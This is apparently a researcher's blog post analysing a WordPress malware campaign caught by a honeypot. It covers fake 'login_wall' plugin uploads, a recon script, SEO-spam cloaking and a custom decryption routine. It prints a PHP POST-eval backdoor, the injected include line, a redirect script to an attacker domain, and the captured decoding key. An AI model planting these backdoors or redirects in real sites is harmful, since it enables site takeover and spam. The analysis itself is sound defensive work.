My WordPress honey pot caught at least seven instances of malicious Zip file plugin uploads. The changes in the Zip file contents seem to show malware development. It's entirely possible that more than seven of these similar Zip files got downloaded, but these are the only seven that I noticed.
Downloads from 2 IP addresses, 198.98.123.140 and 107.150.127.57, over the course of 9 months.
198.98.123.140 comes from Enzu, Inc, in Henderson, Nevada.
107.150.127.57 comes from Zenlayer, in Los Angeles.
Both enterprises claim to provide managed hosting, colocation and other ISP services.
p0f3
identifies 107.150.127.57 as Linux of some sort.
All of the HTTP requests used a User Agent string of "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)".
IP Address | Earliest access | Last Access | Accesses |
---|---|---|---|
198.98.123.140 | 2018-03-11 06:55:46-06 | 2018-07-12 01:55:45-06 | 132 |
107.150.127.57 | 2018-08-18 15:11:32-06 | 2018-11-26 14:35:44-07 | 329 |
All seven of the Zip files got sent to my honey pot as a plugin download, so the Zip file format makes sense. Luckily, my honey pot can mimic a WordPress plugin download. It saves the downloaded file, and the name of the file sent along with the download.
Download time | Original file name |
---|---|
2018-03-28T23:09:35.159238527-0600 | login_wall_kzn.zip |
2018-05-27T23:48:12.792564338-0600 | login_wall_ddu.zip |
2018-07-08T04:43:29.419466969-0600 | login_wall_psb.zip |
2018-08-25T01:41:27.842149483-0600 | login_wall_rio.zip |
2018-10-01T21:23:58.038930603-0600 | login_wall_orx.zip |
2019-01-11T19:00:01.694100974-0700 | login_wall_yyc.zip |
2019-01-14T21:50:30.265382754-0700 | login_wall_lmv.zip |
Each Zip file contains 3 or 5 PHP files. The names and contents shift around.
File name | Size in bytes | CRC checksum |
---|---|---|
2018-10-01/pi.php | 25573 | 149262754 |
2018-10-01/au.php | 1622 | 853774596 |
2019-01-11/au.php | 1622 | 853774596 |
2019-01-14/au.php | 1622 | 853774596 |
2018-03-28/18.php | 6640 | 1417868154 |
2018-05-27/18.php | 6640 | 1417868154 |
2018-07-08/18.php | 6640 | 1417868154 |
2018-08-25/comments.php | 6640 | 1417868154 |
2018-10-01/comments.php | 6640 | 1417868154 |
2019-01-11/comments.php | 6640 | 1417868154 |
2019-01-14/comments.php | 6640 | 1417868154 |
2018-10-01 | pi.php | 25573 |
2019-01-11/pi.php | 43489 | 1752472245 |
2019-01-14/pi.php | 44047 | 675389236 |
2018-03-28/login_wall.php | 1614 | 2022104611 |
2018-05-27/login_wall.php | 1614 | 2022104611 |
2018-07-08/login_wall.php | 1614 | 2022104611 |
2018-08-25/login_wall.php | 1614 | 2022104611 |
2018-10-01/login_wall.php | 1614 | 2022104611 |
2019-01-11/login_wall.php | 1614 | 2022104611 |
2019-01-14/login_wall.php | 1614 | 2022104611 |
2018-08-25/ring.php | 22523 | 2452142293 |
2018-10-01/ring.php | 22523 | 2452142293 |
2019-01-11/ring.php | 22523 | 2452142293 |
2019-01-14/ring.php | 22523 | 2452142293 |
2018-03-28/comments.php | 36 | 2629124137 |
2018-05-27/comments.php | 36 | 2629124137 |
2018-07-08/comments.php | 36 | 2629124137 |
File name | CRC checksum | 2018-03-28 | 2018-05-27 | 2018-07-08 | 2018-08-25 | 2018-10-01 | 2019-01-11 | 2019-01-14 |
---|---|---|---|---|---|---|---|---|
login_wall.php | 2022104611 | X | X | X | X | X | X | X |
comments.ph | 2629124137 | X | X | X | ||||
18.php | 1417868154 | X | X | X | ||||
comments.ph | 1417868154 | X | X | X | X | |||
ring.php | 2452142293 | X | X | X | X | |||
pi.php | 149262754 | X | ||||||
pi.php | 1752472245 | X | ||||||
pi.php | 675389236 | X | ||||||
au.php | 853774596 | X | X | X |
To reiterate, a file named login_wall.php
appears in every download,
with identical contents.
Before the switch from Enzu to Zenlayer IP address, files comments.php
and 18.php
appeared in each download.
After the switch from Enzu to Zenlayer, the contents of 18.php
became comments.php
,
and a new file ring.php
appears in the download.
The final two downloads include two new files,pi.php
and au.php
.
pi.php
changes between the second-to-last and the last download.
This is the main evidence for continuity of development in this malware.
The code in 18.php
gets renamed comments.php
,
a file name that had appeared in earlier downloads.
comments.php
gets new contents.
pi.php
contents get modified after 3 days.
I think it's convincing.
au.php
invocations happen 65 times, from 2018-09-12 to 2019-01-11.
Unfortunately, my honey pot interprets the URLs used as WSO web shell invocations.
I see nothing of value in the info captured by those invocations.
There are 7 pieces of PHP that look like they need to be figured out;
login_wall.php
- old
comments.php
- old
18.php
, newcomments.php
ring.php
pi.php
- code injected into existing PHP by
pi.php
au.php
This code appears to constitute a weak imitation of a real plugin named "loginwall". It identifies itself as "Version 1.1.0", where the real one identifies as "0.1.0". Very little of the real plugin other than the comment at the top of the file remains.
This fake login_wall.php
(vs loginwall.php
for the real plugin) seems to implement
another login screen that would appear before the WordPress installion's own login screen.
I think it has a password of "Weak Liver" (case sensitive).
I found a github gist that's identical,
except for it's backdoored identically to one of the stray login_wall.php
files
I've got in my backlog.
This file is an instance of the basic PHP backdoor:
<?php @eval($_POST['-cclbat']);?>
That is, send the comments.php
URL an HTTP POST
with PHP code as the value of a parameter named "-cclbat",
and the backdoor executes it.
I can't puzzle this one out.
The GNU file
command identifies it as " Non-ISO extended-ASCII text...with LF, NEL line terminators".
It appears that at least one PHP parser can parse it,
so it's PHP source code.
I'm just going to give up.
This one is a real mess, mainly because of the character set.
Nobody has ever invoked a URL ending in /18.php
,
so I have no examples of how people call it.
Appears to be some kind of recon program.
If invoked remotely with wp-content/
as its directory,
it tries to unlink its own file, effectively deleting itself.
It looks for WordPress PHP files that would contain database login information.
If it finds the DB login,
it creates and installs a user ID and password as database administrator.
It echoes the user ID and password for the invoker to read.
Starting with a directory 3 levels up from wp-content
,
it finds all directories with names www/
, wwwroot/
, html/
, public_html/
or htdocs/
directories
and prints their names, along with an '*' if the PHP user ID has write permissions,
or an 'x' if that user ID doesn't have write permissions.
It will go 3 directories deep under the start directory.
This is apparently an attempt to find out if Apache HTTP server's DocumentRoot is writeable or not.
It prints out php_uname();
then exits.
Example out put looks like this:
x /srv/http/htdocs Linux bozo 3.19.13.a-1 #1 SMP PREEMPT Sun Jan 6 22:46:18 CET 2019 x86
My test Apache HTTP does not have a writeable DocumentRoot directory.
Three variants of this file appear. They all follow the same obfuscation scheme, and flow-of-control. They differ only in the injected code.
The pi.php
file is full of obfuscated PHP.
The obfuscation involves replacing characters for single-quote and backslash
with character sequences _)hc
and _)hl
, and inserting the character sequence _)ht
quite often.
De-obfuscation just reverses those replacements.
The resulting PHP source gets eval'd.
pi.php
, just like au.php
, unlinks its own file upon invocation.
It really wants to run in wp-content/
directory,
because it exits if wp-content/
isn't in the magic PHP __DIR__
thing.
After that, it tries to "inject" some Base64-encoded PHP source into
the file index.php
in its directory.
The injected code looks something like this:
<?PHP
@include_once("\x2e\x2f\x2f\x38\x32\x39\x31\x33\x31\x38");//hupus// ?>
The illegible string is a PHP string representation of ".//8291318",
which pi.php
creates.
The "//hupus//" is a marker to keep pi.php
from injecting the "include_once"
into a file more than a single time.
Which implies that the author(s) had some experience where the injection code
worked over and over and ruined things.
I kept files from analysis of the injection process.
My injection test captured the included code in a file 8291318.
That's another @eval(base64_decode(...))
obfuscation.
Deobfuscated, it's another level of encoded PHP that gets decoded and eval'ed on the fly.
The encoding is the same as used in pi.php
: replacing a few distinct characters with
strings like ')hl', ')hc', and randomly injecting the string '_)ht'.
That encoding can be reversed by running string substitutions over the encoded text.
I've pretty printed the final decoded form of the injected code so I can undestand it.
There are 3 minor variants of the injected code. The flow-of-control is extremely similar, and I'll note differences where they occur.
Bear in mind that the injected code gets executed on every invocation of and index.php
URL,
which is often implicit, configured to get invoked by web server when the "path" part of the URL
ends in a '/'.
The 2019-01-11 and 2019-01-14 downloads carried different versions of pi.php
.
The later version has a few changes that look like Google cut off
their analytics,
and another change that looks like it puts a 3-character "extension"
on the injected code's file name.
The final change involves a URL changing from "http://diu.sm79.xyz/"
to "http://verm.xyz/".
The injected code retrieves HTML fragments from the URL,
so maybe this represents an ISP shutting down one of the attacker's
servers, or maybe it's just ongoing maintenance.
The nature of the differences reinforce the continuity of development conclusion above.
The attackers have an organized campaign, with regular code maintenance.
If the injected code executes and the HTTP request is for sitemap.xml
,
the code composes a fake sitemap consisting of 100 randomly-generated URLs
that it claims change daily.
It probably does this to entice search engines (especially google) to check back daily.
Then the code exits.
Versions A, B, C all very similar here, but the google site ID is different in all 3 of them. The following is for version A.
if the HTTP request is for google7b6ee98c55a7fa55.html
,
it gives back a single line response:
google-site-verification: google7b6ee98c55a7fa55.html
It looks like this is an attempt to "claim ownership of a property" in Google's
web search console.
The point may be to allow whoever go google7b6ee98c55a7fa55.html
from Google
as an ownership token to check on how various places running the injected code are doing,
with respect to bad thins.
The code exits for the case of asking for google7b6ee98c55a7fa55.html
.
If the referer domain ends in '.jp' (domain name registered in Japan, for version A) or '.kr' (domain name registered in Korea, for versions B and C) the code composes a piece of Javascript something like this:
document.location=("http://linkjs.club/a.php?j=21-65821&stratigery.com");
and packages it up in HTML <script>
tags so that whoever gets refered
from a '.jp' or '.kr' domain ends up redirecting to linksjs.club
.
The oddity in this is that the code to generate the numbers ("21-65821" above)
uses the bcmath extension, which isn't enabled by default.
It would seem that using bcmul()
would cost the injected code a lot of good redirects.
Versions B and C have a caching mechanism.
They download the location from another URL, http://diu.sm79.xyz/data.php
for B, http://verm.xyz/data.php
for C.
They create file in the system temp directory named sess_
+ MD5 hash of URL currently invoked,
and stash the location in that file.
The code exits for the case of refereral from a '.jp' or '.kr' domain.
The injected code considers an HTTP request as coming from a bot if the request arrived with a User Agent string, and that string (case insensitive) contains at least one of these substrings:
- bot
- crawl
- spider
- mediapartners
- slurp
- patrol
It looks like that gets it 90% of the way towards acting one way for humans, and a second way for bots.
It appears that the code wants to download two files from https://raw.githubusercontent.com/kqdnf/wlyph/
,
one a CSV file, one a text file.
That github repo no longer exists, so it's hard to say.
But if the repo no longer exists, why does the malware have this injection code?
Parts of the lines in the CSV file get base64-decoded, apparently into HTML.
It appears that the code tries to replace some special "tags" in the text file.
The "tags" have names like "[image]", "[price]", "[description]".
I looks to me like this code doesn't work correctly.
I believe the intent is to create custom HTML on every HTTP access of index.php
.
The CSV and text file it would have retrieved from raw.githubusercontent.com
depends on a hash value generated from the URL of the file accessed.
Version A of this code is much simpler than versions B and C, but appears not to work. Version C appears to fix some bugs in version B. There's a clear progression of code towards less buggy and more features.
If the code decides the HTTP request does not come from a bot, it sends nothing. Supposing the injected code doesn't error out, a human driving a browser would see the regular old WordPress site.
This code seems to have hijacked the comments, function names and style
of WordPress plugin code,
but turned it into a backdoor.
Googling for the package ID that appears in the code ("64f722503297a845d239")
yields a few hits, all obviously this same file, or a related malware.
Googling for the function signature of pre_term_name
gets me a stack overflow
post about this malware.
Looks like it's been around for a while.
2019-03-07, my WSO honey pot captured the decoding key. I've written the analysis of ring.php separately.
I'll just note that the value of HTTP parameter _f_wp
you need to decode
ring.php
is "G0YgIaXqx".
- Trim almost-base64-encoded string out of what looks like HTML with an in-line image.
- Turn almost-base64-encoded string into true base64-encoded material. This amounts to a couple of character substitutions.
- Base64-decode that material. Finally, the ciphertext.
- Construct a key from an HTTP parameter named
_f_wp
. The key ends up a 32+length of_f_wp
value string, composed of the ASCII characters 'a' through 'f', and '0' through '9' because the key construction uses PHP's built inmd5()
function. For instance if_f_wp
has the value "abc", the key ends up as a 32+3 character string "900150983cd24fb0d6963f7d28e17f72394" The key-construction also assumes that the value of_f_wp
is less than 32 characters. - Decode the ciphertext, the base64-decoded material from step 3.
- Use
gzinflate
on the ciphertext. Return the inflated text.
The code, rewritten with more explanatory names than in ring.php
:
$key = ...
$i = 0;
do {
$cipherbyte = $ciphertext[$i];
$keybyte = $key[$i];
$value = (ord($cipherbyte) - ord($keybyte))%256;
$clearbyte = chr($value);
$cleartext[$i] = $clearbyte;
$key .= $clearbyte;
$i++;
} while ($i < strlen($ciphertext));
That's a variation of a Vignere cipher,
where the key gets cleartext bytes appended to it as they're decoded.
Given the small alphabet of the key (16 ASCII characters),
a known-plaintext attack should be possible.
Unfortunately, the "plaintext" is apparently output of PHP's built in gzdeflate()
function,
which does not have a header, or any other invariant bytes that I can see.
The do-while looping seems unusual for a PHP program. You don't encounter do-while loops very often in C, for that matter. The do-while also will cause a problem if you have zerol-length cipher text: the loop always makes a single pass through the body of the loop.
The key also has to be of at least length 1, and no more than 32 characters, otherwise the algorithm errors out.
The actual value of _f_wp
used is "G0YgIaXqx".
My honey pot captured it some months after I wrote this.